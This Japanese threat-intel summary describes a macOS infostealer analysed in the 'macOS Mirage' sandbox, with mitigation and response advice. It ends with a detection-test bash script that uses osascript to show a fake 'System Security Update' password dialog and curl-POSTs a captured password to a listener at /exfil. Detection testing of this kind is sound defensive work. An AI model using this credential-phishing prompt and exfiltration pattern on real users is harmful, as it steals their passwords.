macOS Mirage: Appleシリコン向けの動的解析とSigma検出

概要

VirusTotalは、Apple Silicon (ARM64)およびmacOS 26に特化した新しい動的分析サンドボックス「macOS Mirage」を導入しました。このプラットフォームは、高忠実度の行動テレメトリと自動化されたSigma検出を提供し、情報窃盗や資格情報フィッシングマルウェアなど進化するmacOS脅威を特定します。IntelからARM64システムへの移行に対応し、System Integrity Protection (SIP) などの現代の保護に対抗します。

調査

このレポートは、AppleScriptを使用したフィッシングと持続性およびデータ窃取のための多段階ペイロードを利用するmacOS情報窃盗サンプルunix51436504を分析しています。研究者は、最初の詐欺的なパスワードプロンプトから、LaunchDaemonsベースの持続性とKeychain、Safari、Apple Notesデータの流出に至るまでマルウェアを追跡しました。サンドボックスはこれらの挙動を関連するMITRE ATT&CKテクニックにマッピングすることに成功しました。

緩和策

特定のソフトウェアパッチは示されていませんが、レポートではKeychainデータベース、TCC.db、LaunchDaemonsなどのセンシティブな場所への無許可アクセスの監視を強調しています。osascript、curl、dittoを含むコマンドラインユーティリティの不審な使用を検出するために、組織は異常な文脈で実行された場合に注意を払う必要があります。多段階の実行パターンや/tmp/ またはユーザーのホームディレクトリでの予期しないファイル変更の監視も重要です。

対応

これらの挙動が検知された場合、追加のデータ流出を防ぐために、応答者はただちに影響を受けたmacOSデバイスを隔離するべきです。/Library/LaunchDaemonsおよびユーザーレベルのLaunchAgentsに特に注意を払い、持続性メカニズムを調査します。可能な侵害を確認するために、Keychainデータ、ブラウザ資格情報、およびSSHキーを包括的にレビューし、漏洩したすべてのセンシティブな資格情報をリセットします。

シミュレーション実行

• 攻撃の詳細＆コマンド： 攻撃者は、説得力のあるフェイクのシステムダイアログを提示して、ユーザーの資格情報を収集することを目指しています。攻撃者は osascript を使用してmacOSのダイアログボックスをトリガーします。検出ルールの特定ロジック（特定のタイプミス「passwen」を探す）を模倣するために、スクリプトは意図的にその文字列を使用します。ユーザーがフェイクのパスワードを「送信」すると、スクリプトは curl を使用してキャプチャされたデータをリモートリスナーにPOSTし、情報窃盗の流出フェーズをシミュレートします。

• 回帰テストスクリプト：

  #!/bin/bash
  # macOS情報窃盗フィッシングのシミュレーション
  
  # 1. フェイクダイアログをトリガー（indicator1とindicator2に一致）
  # 注意：検出ルールの特定ロジックをトリガーするために「passwen」を使用
  osascript -e 'set passwen to display dialog "System Security Update: Please enter your macOS password to continue" default answer "" with icon caution'
  
  # 2. curlを介して流出をシミュレートする（indicator3に一致）
  # 「盗まれた」文字列をローカルまたはリモートのエンドポイントに送信することをシミュレート
  curl -X POST -d "password=stolen_credential_example" http://localhost:8080/exfil
  
  echo "[+] シミュレーション完了。SIEMのアラートを確認してください。"

• クリーンアップコマンド：

  # このシミュレーション中に恒久的なファイルが作成されることはありませんでした。
  # データステージングに一時ファイルが使用された場合は、ここで削除されます。
  rm -f /tmp/stolen_creds.txt